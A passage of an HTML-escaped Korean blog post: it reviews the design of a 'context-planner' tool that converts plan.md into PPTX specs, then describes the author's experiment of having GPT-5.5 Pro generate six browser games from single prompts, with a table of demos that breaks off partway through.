/&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;가장&amp;nbsp;중요한&amp;nbsp;기준&amp;nbsp;문서로&amp;nbsp;유지합니다.&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;실행&amp;nbsp;규칙,&amp;nbsp;입력/출력&amp;nbsp;계약,&amp;nbsp;검증&amp;nbsp;기준을&amp;nbsp;담습니다.&lt;br /&gt;-&amp;nbsp;README.md&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;빠른&amp;nbsp;시작&amp;nbsp;가이드만&amp;nbsp;담습니다.&lt;br /&gt;-&amp;nbsp;AGENTS.md&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;어떤&amp;nbsp;상황에서&amp;nbsp;어떤&amp;nbsp;스킬을&amp;nbsp;호출할지&amp;nbsp;정도만&amp;nbsp;담습니다.&lt;br /&gt;-&amp;nbsp;context-planner-prompt.md&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;독립&amp;nbsp;실행용&amp;nbsp;축약&amp;nbsp;프롬프트로만&amp;nbsp;유지합니다.&lt;br /&gt;-&amp;nbsp;docs/onboarding.html&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;사용자&amp;nbsp;안내용&amp;nbsp;문서로&amp;nbsp;유지하되,&amp;nbsp;세부&amp;nbsp;규칙은&amp;nbsp;SKILL.md를&amp;nbsp;따르게&amp;nbsp;합니다.&lt;br /&gt;&lt;br /&gt;7.&amp;nbsp;수용한&amp;nbsp;개선&amp;nbsp;방향&lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;개선&amp;nbsp;방향은&amp;nbsp;바로&amp;nbsp;반영할&amp;nbsp;가치가&amp;nbsp;높습니다.&lt;br /&gt;&lt;br /&gt;7-1.&amp;nbsp;완료&amp;nbsp;기준을&amp;nbsp;표로&amp;nbsp;바꾸기&lt;br /&gt;&lt;br /&gt;&amp;sect;7&amp;nbsp;완료&amp;nbsp;기준을&amp;nbsp;자유&amp;nbsp;bullet이&amp;nbsp;아니라&amp;nbsp;표로&amp;nbsp;바꾸는&amp;nbsp;것이&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;필수&amp;nbsp;컬럼은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;ID&lt;br /&gt;-&amp;nbsp;검증&amp;nbsp;시나리오&lt;br /&gt;-&amp;nbsp;기대&amp;nbsp;결과&lt;br /&gt;-&amp;nbsp;우선순위&lt;br /&gt;-&amp;nbsp;테스트&amp;nbsp;데이터/조건&lt;br /&gt;-&amp;nbsp;상태&lt;br /&gt;&lt;br /&gt;이렇게&amp;nbsp;해야&amp;nbsp;QA&amp;nbsp;담당자와&amp;nbsp;PPTX&amp;nbsp;생성기가&amp;nbsp;모두&amp;nbsp;같은&amp;nbsp;의미로&amp;nbsp;읽을&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;7-2.&amp;nbsp;착수&amp;nbsp;판단을&amp;nbsp;표준&amp;nbsp;표로&amp;nbsp;바꾸기&lt;br /&gt;&lt;br /&gt;&amp;sect;10&amp;nbsp;착수&amp;nbsp;판단은&amp;nbsp;다음&amp;nbsp;항목으로&amp;nbsp;나누는&amp;nbsp;것이&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;즉시&amp;nbsp;착수&lt;br /&gt;-&amp;nbsp;보류&amp;nbsp;권고&lt;br /&gt;-&amp;nbsp;2Phase&amp;nbsp;이관&lt;br /&gt;-&amp;nbsp;fallback&amp;nbsp;필요&lt;br /&gt;-&amp;nbsp;Open&amp;nbsp;Question&amp;nbsp;의존&amp;nbsp;여부&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;구조는&amp;nbsp;PPTX&amp;nbsp;때문만이&amp;nbsp;아니라&amp;nbsp;의사결정&amp;nbsp;문서로도&amp;nbsp;더&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;7-3.&amp;nbsp;SKILL.md를&amp;nbsp;줄이고&amp;nbsp;역할을&amp;nbsp;명확히&amp;nbsp;하기&lt;br /&gt;&lt;br /&gt;현재&amp;nbsp;SKILL.md에는&amp;nbsp;너무&amp;nbsp;많은&amp;nbsp;내용이&amp;nbsp;들어&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;섞여&amp;nbsp;있는&amp;nbsp;내용은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;실행&amp;nbsp;지침&lt;br /&gt;-&amp;nbsp;설치&amp;nbsp;가이드&lt;br /&gt;-&amp;nbsp;템플릿&amp;nbsp;규칙&lt;br /&gt;-&amp;nbsp;PPTX&amp;nbsp;제약&lt;br /&gt;-&amp;nbsp;검증&amp;nbsp;기준&lt;br /&gt;-&amp;nbsp;운영&amp;nbsp;규칙&lt;br /&gt;&lt;br /&gt;개선&amp;nbsp;방향은&amp;nbsp;SKILL.md를&amp;nbsp;다음&amp;nbsp;중심으로&amp;nbsp;재구성하는&amp;nbsp;것입니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;router&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;어떤&amp;nbsp;요청이&amp;nbsp;들어왔을&amp;nbsp;때&amp;nbsp;어떤&amp;nbsp;흐름으로&amp;nbsp;보낼지&amp;nbsp;결정합니다.&lt;br /&gt;-&amp;nbsp;phase&amp;nbsp;card&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;각&amp;nbsp;단계에서&amp;nbsp;해야&amp;nbsp;할&amp;nbsp;일을&amp;nbsp;작게&amp;nbsp;나눕니다.&lt;br /&gt;-&amp;nbsp;validation&amp;nbsp;contract&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;산출물이&amp;nbsp;반드시&amp;nbsp;지켜야&amp;nbsp;하는&amp;nbsp;검증&amp;nbsp;기준을&amp;nbsp;정합니다.&lt;br /&gt;&lt;br /&gt;8.&amp;nbsp;부분적으로만&amp;nbsp;수용할&amp;nbsp;개선&amp;nbsp;방향&lt;br /&gt;&lt;br /&gt;&amp;ldquo;문장&amp;nbsp;단위&amp;nbsp;source&amp;nbsp;traceability&amp;rdquo;는&amp;nbsp;좋은&amp;nbsp;방향입니다.&lt;br /&gt;쉽게&amp;nbsp;말하면,&amp;nbsp;문장마다&amp;nbsp;출처를&amp;nbsp;붙이는&amp;nbsp;방식입니다.&lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;이것을&amp;nbsp;처음부터&amp;nbsp;전면&amp;nbsp;도입하면&amp;nbsp;입력&amp;nbsp;부담이&amp;nbsp;너무&amp;nbsp;커질&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;그래서&amp;nbsp;현실적인&amp;nbsp;1차&amp;nbsp;개선안은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;출처&amp;nbsp;없는&amp;nbsp;추정은&amp;nbsp;금지합니다.&lt;br /&gt;-&amp;nbsp;중요한&amp;nbsp;생성값에만&amp;nbsp;우선&amp;nbsp;source를&amp;nbsp;붙입니다.&lt;br /&gt;-&amp;nbsp;출처가&amp;nbsp;없는&amp;nbsp;내용은&amp;nbsp;&amp;ldquo;확인&amp;nbsp;필요&amp;rdquo;로&amp;nbsp;표시합니다.&lt;br /&gt;-&amp;nbsp;나중에&amp;nbsp;필요하면&amp;nbsp;문장&amp;nbsp;단위&amp;nbsp;출처까지&amp;nbsp;확장합니다.&lt;br /&gt;&lt;br /&gt;9.&amp;nbsp;지금은&amp;nbsp;보류할&amp;nbsp;개선&amp;nbsp;방향&lt;br /&gt;&lt;br /&gt;multi-view&amp;nbsp;아키텍처는&amp;nbsp;방향&amp;nbsp;자체는&amp;nbsp;좋습니다.&lt;br /&gt;쉽게&amp;nbsp;말하면&amp;nbsp;하나의&amp;nbsp;plan.md에서&amp;nbsp;여러&amp;nbsp;목적의&amp;nbsp;view를&amp;nbsp;만드는&amp;nbsp;방식입니다.&lt;br /&gt;&lt;br /&gt;예를&amp;nbsp;들면&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;QA용&amp;nbsp;view&lt;br /&gt;-&amp;nbsp;개발&amp;nbsp;전달용&amp;nbsp;view&lt;br /&gt;-&amp;nbsp;의사결정용&amp;nbsp;view&lt;br /&gt;-&amp;nbsp;PPTX용&amp;nbsp;view&lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;지금&amp;nbsp;바로&amp;nbsp;도입하기에는&amp;nbsp;범위가&amp;nbsp;큽니다.&lt;br /&gt;먼저&amp;nbsp;plan.md에서&amp;nbsp;spec.pptx로&amp;nbsp;변환되는&amp;nbsp;구조를&amp;nbsp;안정화하는&amp;nbsp;것이&amp;nbsp;우선입니다.&lt;br /&gt;&lt;br /&gt;추천&amp;nbsp;순서는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;plan.md와&amp;nbsp;spec.pptx&amp;nbsp;사이의&amp;nbsp;계약을&amp;nbsp;먼저&amp;nbsp;안정화합니다.&lt;br /&gt;2.&amp;nbsp;QA용&amp;nbsp;view를&amp;nbsp;추가합니다.&lt;br /&gt;3.&amp;nbsp;개발&amp;nbsp;전달용&amp;nbsp;dev-handoff&amp;nbsp;view를&amp;nbsp;추가합니다.&lt;br /&gt;4.&amp;nbsp;필요하면&amp;nbsp;multi-view&amp;nbsp;구조로&amp;nbsp;확장합니다.&lt;br /&gt;&lt;br /&gt;10.&amp;nbsp;실행&amp;nbsp;계획&lt;br /&gt;&lt;br /&gt;10-1.&amp;nbsp;M1:&amp;nbsp;계약&amp;nbsp;안정화&lt;br /&gt;&lt;br /&gt;가장&amp;nbsp;먼저&amp;nbsp;해야&amp;nbsp;할&amp;nbsp;일은&amp;nbsp;plan.md와&amp;nbsp;spec.pptx&amp;nbsp;사이의&amp;nbsp;약속을&amp;nbsp;명확히&amp;nbsp;하는&amp;nbsp;것입니다.&lt;br /&gt;&lt;br /&gt;작업&amp;nbsp;항목은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;SKILL.md&amp;nbsp;트리거를&amp;nbsp;plan&amp;nbsp;compile과&amp;nbsp;spec-gen으로&amp;nbsp;분리합니다.&lt;br /&gt;-&amp;nbsp;&amp;sect;7&amp;nbsp;완료&amp;nbsp;기준을&amp;nbsp;표로&amp;nbsp;바꿉니다.&lt;br /&gt;-&amp;nbsp;&amp;sect;10&amp;nbsp;착수&amp;nbsp;판단을&amp;nbsp;표준&amp;nbsp;표로&amp;nbsp;바꿉니다.&lt;br /&gt;-&amp;nbsp;generate-spec.js에서&amp;nbsp;&amp;ldquo;Pass&amp;rdquo;&amp;nbsp;기본값을&amp;nbsp;제거합니다.&lt;br /&gt;-&amp;nbsp;HTML&amp;nbsp;entity&amp;nbsp;decode&amp;nbsp;처리를&amp;nbsp;추가합니다.&lt;br /&gt;-&amp;nbsp;한글&amp;nbsp;문장을&amp;nbsp;무리하게&amp;nbsp;자르는&amp;nbsp;hard&amp;nbsp;slice를&amp;nbsp;제거합니다.&lt;br /&gt;-&amp;nbsp;체크리스트를&amp;nbsp;직접&amp;nbsp;파싱하도록&amp;nbsp;개선합니다.&lt;br /&gt;-&amp;nbsp;루트&amp;nbsp;package.json과&amp;nbsp;lockfile로&amp;nbsp;실행&amp;nbsp;환경을&amp;nbsp;통일합니다.&lt;br /&gt;&lt;br /&gt;10-2.&amp;nbsp;M2:&amp;nbsp;검증&amp;nbsp;자동화&lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;단계는&amp;nbsp;자동&amp;nbsp;검증을&amp;nbsp;추가하는&amp;nbsp;것입니다.&lt;br /&gt;&lt;br /&gt;작업&amp;nbsp;항목은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;cases/*/plan.md&amp;nbsp;기반&amp;nbsp;fixture&amp;nbsp;테스트를&amp;nbsp;추가합니다.&lt;br /&gt;-&amp;nbsp;spec.pptx&amp;nbsp;텍스트&amp;nbsp;dump&amp;nbsp;기반&amp;nbsp;회귀&amp;nbsp;테스트를&amp;nbsp;추가합니다.&lt;br /&gt;-&amp;nbsp;Gate를&amp;nbsp;Blocker와&amp;nbsp;PPTX&amp;nbsp;lint로&amp;nbsp;분리합니다.&lt;br /&gt;-&amp;nbsp;실패&amp;nbsp;조건을&amp;nbsp;명확히&amp;nbsp;정의합니다.&lt;br /&gt;&lt;br /&gt;실패&amp;nbsp;조건&amp;nbsp;예시는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;Pass-only&amp;nbsp;QA가&amp;nbsp;생성되는&amp;nbsp;경우&lt;br /&gt;-&amp;nbsp;&amp;amp;&amp;nbsp;같은&amp;nbsp;HTML&amp;nbsp;entity가&amp;nbsp;남아&amp;nbsp;있는&amp;nbsp;경우&lt;br /&gt;-&amp;nbsp;OQ&amp;nbsp;내용이&amp;nbsp;잘리는&amp;nbsp;경우&lt;br /&gt;-&amp;nbsp;보류&amp;nbsp;또는&amp;nbsp;2Phase&amp;nbsp;판단이&amp;nbsp;누락되는&amp;nbsp;경우&lt;br /&gt;-&amp;nbsp;필수&amp;nbsp;슬라이드가&amp;nbsp;빠지는&amp;nbsp;경우&lt;br /&gt;&lt;br /&gt;10-3.&amp;nbsp;M3:&amp;nbsp;문서&amp;nbsp;정리&lt;br /&gt;&lt;br /&gt;문서&amp;nbsp;간&amp;nbsp;중복을&amp;nbsp;줄여야&amp;nbsp;합니다.&lt;br /&gt;&lt;br /&gt;작업&amp;nbsp;항목은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;SKILL.md를&amp;nbsp;기준&amp;nbsp;문서로&amp;nbsp;확정합니다.&lt;br /&gt;-&amp;nbsp;README.md는&amp;nbsp;빠른&amp;nbsp;시작만&amp;nbsp;유지합니다.&lt;br /&gt;-&amp;nbsp;AGENTS.md는&amp;nbsp;트리거와&amp;nbsp;진입점만&amp;nbsp;유지합니다.&lt;br /&gt;-&amp;nbsp;context-planner-prompt.md는&amp;nbsp;standalone&amp;nbsp;축약판으로만&amp;nbsp;유지합니다.&lt;br /&gt;-&amp;nbsp;설정&amp;nbsp;경로,&amp;nbsp;산출물&amp;nbsp;이름,&amp;nbsp;실행&amp;nbsp;명령을&amp;nbsp;모든&amp;nbsp;문서에서&amp;nbsp;동일하게&amp;nbsp;맞춥니다.&lt;br /&gt;&lt;br /&gt;10-4.&amp;nbsp;M4:&amp;nbsp;QA&amp;nbsp;소비자&amp;nbsp;강화&lt;br /&gt;&lt;br /&gt;QA&amp;nbsp;담당자가&amp;nbsp;실제로&amp;nbsp;바로&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;형태로&amp;nbsp;강화해야&amp;nbsp;합니다.&lt;br /&gt;&lt;br /&gt;Phase&amp;nbsp;A+에&amp;nbsp;다음&amp;nbsp;선택&amp;nbsp;필드를&amp;nbsp;추가하는&amp;nbsp;것이&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;test_data&lt;br /&gt;-&amp;nbsp;test_env&lt;br /&gt;-&amp;nbsp;device_matrix&lt;br /&gt;-&amp;nbsp;why_now&lt;br /&gt;&lt;br /&gt;Open&amp;nbsp;Question에&amp;nbsp;걸린&amp;nbsp;테스트는&amp;nbsp;다음&amp;nbsp;중&amp;nbsp;하나로&amp;nbsp;표시하는&amp;nbsp;것이&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;Blocked&lt;br /&gt;-&amp;nbsp;OQ-N&amp;nbsp;의존&lt;br /&gt;-&amp;nbsp;N/A&lt;br /&gt;&lt;br /&gt;또한&amp;nbsp;QA&amp;nbsp;completeness&amp;nbsp;지표를&amp;nbsp;추가하면&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;예를&amp;nbsp;들면&amp;nbsp;다음&amp;nbsp;항목을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;검증&amp;nbsp;시나리오가&amp;nbsp;충분한가&lt;br /&gt;-&amp;nbsp;기대&amp;nbsp;결과가&amp;nbsp;비어&amp;nbsp;있지&amp;nbsp;않은가&lt;br /&gt;-&amp;nbsp;테스트&amp;nbsp;데이터가&amp;nbsp;있는가&lt;br /&gt;-&amp;nbsp;Open&amp;nbsp;Question에&amp;nbsp;막힌&amp;nbsp;항목이&amp;nbsp;명확한가&lt;br /&gt;-&amp;nbsp;PPTX로&amp;nbsp;변환해도&amp;nbsp;의미가&amp;nbsp;유지되는가&lt;br /&gt;&lt;br /&gt;11.&amp;nbsp;우선순위&lt;br /&gt;&lt;br /&gt;가장&amp;nbsp;먼저&amp;nbsp;할&amp;nbsp;일은&amp;nbsp;코드를&amp;nbsp;고치는&amp;nbsp;것이&amp;nbsp;아니라&amp;nbsp;&amp;ldquo;계약&amp;nbsp;정리&amp;rdquo;입니다.&lt;br /&gt;&lt;br /&gt;특히&amp;nbsp;다음&amp;nbsp;항목을&amp;nbsp;먼저&amp;nbsp;확정해야&amp;nbsp;합니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&amp;sect;7&amp;nbsp;완료&amp;nbsp;기준&amp;nbsp;입력&amp;nbsp;구조&lt;br /&gt;-&amp;nbsp;&amp;sect;10&amp;nbsp;착수&amp;nbsp;판단&amp;nbsp;입력&amp;nbsp;구조&lt;br /&gt;-&amp;nbsp;Slide&amp;nbsp;10&amp;nbsp;입력&amp;nbsp;계약&lt;br /&gt;-&amp;nbsp;Slide&amp;nbsp;12&amp;nbsp;입력&amp;nbsp;계약&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;계약이&amp;nbsp;정리되지&amp;nbsp;않으면&amp;nbsp;generate-spec.js를&amp;nbsp;고쳐도&amp;nbsp;다음&amp;nbsp;케이스에서&amp;nbsp;다시&amp;nbsp;문제가&amp;nbsp;생길&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;그&amp;nbsp;다음에&amp;nbsp;generate-spec.js를&amp;nbsp;고치는&amp;nbsp;순서가&amp;nbsp;좋습니다.&lt;br /&gt;&lt;br /&gt;우선&amp;nbsp;고쳐야&amp;nbsp;할&amp;nbsp;코드&amp;nbsp;포인트는&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&amp;ldquo;Pass&amp;rdquo;&amp;nbsp;기본값&amp;nbsp;제거&lt;br /&gt;-&amp;nbsp;.slice()로&amp;nbsp;한글&amp;nbsp;문장을&amp;nbsp;강제로&amp;nbsp;자르는&amp;nbsp;부분&amp;nbsp;제거&lt;br /&gt;-&amp;nbsp;&amp;ldquo;가능&amp;rdquo;&amp;nbsp;단어만&amp;nbsp;보고&amp;nbsp;판단하는&amp;nbsp;필터&amp;nbsp;제거&lt;br /&gt;-&amp;nbsp;HTML&amp;nbsp;entity&amp;nbsp;decode&amp;nbsp;처리&amp;nbsp;추가&lt;br /&gt;-&amp;nbsp;체크리스트&amp;nbsp;직접&amp;nbsp;파싱&amp;nbsp;추가&lt;br /&gt;&lt;br /&gt;12.&amp;nbsp;쉬운&amp;nbsp;말로&amp;nbsp;정리한&amp;nbsp;최종&amp;nbsp;판단&lt;br /&gt;&lt;br /&gt;현재&amp;nbsp;context-planner는&amp;nbsp;아이디어와&amp;nbsp;방향은&amp;nbsp;좋습니다.&lt;br /&gt;하지만&amp;nbsp;사람이&amp;nbsp;읽는&amp;nbsp;문서와&amp;nbsp;프로그램이&amp;nbsp;읽는&amp;nbsp;문서&amp;nbsp;사이의&amp;nbsp;규칙이&amp;nbsp;아직&amp;nbsp;정확히&amp;nbsp;맞지&amp;nbsp;않습니다.&lt;br /&gt;&lt;br /&gt;그래서&amp;nbsp;plan.md에는&amp;nbsp;중요한&amp;nbsp;내용이&amp;nbsp;들어&amp;nbsp;있어도,&amp;nbsp;PPTX로&amp;nbsp;바뀌는&amp;nbsp;과정에서&amp;nbsp;일부&amp;nbsp;의미가&amp;nbsp;빠질&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;지금&amp;nbsp;가장&amp;nbsp;중요한&amp;nbsp;개선은&amp;nbsp;다음&amp;nbsp;세&amp;nbsp;가지입니다.&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;완료&amp;nbsp;기준을&amp;nbsp;표로&amp;nbsp;바꿔서&amp;nbsp;QA가&amp;nbsp;바로&amp;nbsp;쓸&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;만들기&lt;br /&gt;-&amp;nbsp;착수&amp;nbsp;판단을&amp;nbsp;표로&amp;nbsp;바꿔서&amp;nbsp;보류,&amp;nbsp;2Phase,&amp;nbsp;fallback을&amp;nbsp;잃지&amp;nbsp;않게&amp;nbsp;만들기&lt;br /&gt;-&amp;nbsp;SKILL.md,&amp;nbsp;README.md,&amp;nbsp;AGENTS.md&amp;nbsp;같은&amp;nbsp;문서의&amp;nbsp;역할을&amp;nbsp;나누고&amp;nbsp;기준&amp;nbsp;문서를&amp;nbsp;하나로&amp;nbsp;정하기&lt;br /&gt;&lt;br /&gt;결론적으로,&amp;nbsp;지금은&amp;nbsp;&amp;ldquo;더&amp;nbsp;많은&amp;nbsp;설명&amp;rdquo;을&amp;nbsp;추가할&amp;nbsp;때가&amp;nbsp;아니라&amp;nbsp;&amp;ldquo;입력과&amp;nbsp;출력의&amp;nbsp;약속&amp;rdquo;을&amp;nbsp;명확히&amp;nbsp;정리할&amp;nbsp;때입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ex2: 직접 게임 6개 만들기 --&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;ex2) 직접 실험: 단일 프롬프트로 GPT-5.5 Pro에게 게임 6개 만들기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리서치와 사례 수집만으로는 한계가 있다. GPT-5.5 Pro에게 직접 단일 프롬프트로 게임을 만들게 해봤다. 모두 HTML 단일 파일로 완성되었고, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;내 바이브코딩 사이트&lt;/a&gt;에 배포해서 직접 플레이하고 원본 프롬프트를 확인할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GPT-5.5 Pro로 싱글 프롬프트로 게임 만들기&lt;/b&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade?model=gpt-5-5&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://goddaehee.co.kr/arcade&lt;/a&gt; &amp;mdash; 상단의 &quot;GPT-5.5 Pro&quot; 필터를 선택하면 6개 게임이 바로 나온다. 각 게임 상세 페이지에서 원본 프롬프트를 확인하고 직접 재현해볼 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600; width: 19.8837%;&quot;&gt;게임&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600; width: 9.76744%;&quot;&gt;장르&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600; width: 54.6512%;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600; width: 9.53488%;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600; width: 6.04651%;&quot;&gt;데모&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 19.8837%;&quot;&gt;&lt;b&gt;Tetris Prime&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;강화 SRS + 7-bag + 미션 모드&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.76744%;&quot;&gt;퍼즐&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 54.6512%;&quot;&gt;SRS 회전&amp;middot;월킥&amp;middot;7-bag&amp;middot;홀드&amp;middot;고스트 완비. 20라인 7분 미션 + 모바일 터치 지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.53488%;&quot;&gt;PC&amp;middot;모바일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 6.04651%;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade/tetris-prime&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;열기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 19.8837%;&quot;&gt;&lt;b&gt;한옥마을 워크 시뮬&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;Three.js 1인칭 전통 마을 탐험&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.76744%;&quot;&gt;시뮬레이션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 54.6512%;&quot;&gt;Three.js 기반 1인칭 한옥마을. WASD+마우스, 충돌 감지, 미니맵, 한국어 표지판&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.53488%;&quot;&gt;PC 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 6.04651%;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade/hanok-maeul&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;열기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 19.8837%;&quot;&gt;&lt;b&gt;Billiards Sim&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;Canvas 2D 8볼 당구 시뮬레이터&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.76744%;&quot;&gt;스포츠&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 54.6512%;&quot;&gt;물리 엔진 기반 8볼 당구. 마찰&amp;middot;탄성, 반사 경로 예측, 볼-인-핸드 파울 완비&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.53488%;&quot;&gt;PC 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 6.04651%;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.co.kr/arcade/billiards-sim&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;열기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 19.8837%;&quot;&gt;&lt;b&gt;Gomoku AI&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;19&amp;times;19 오목 vs Minimax AI&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.76744%;&quot;&gt;보드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 54.6512%;&quot;&gt;Minimax+Alpha-Beta AI, Easy~Hard 3단계 난이도, Undo, 착수 애니메이션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px; width: 9.53488%;&quot;&gt;PC&amp;middot;모바일&lt;/td&gt;
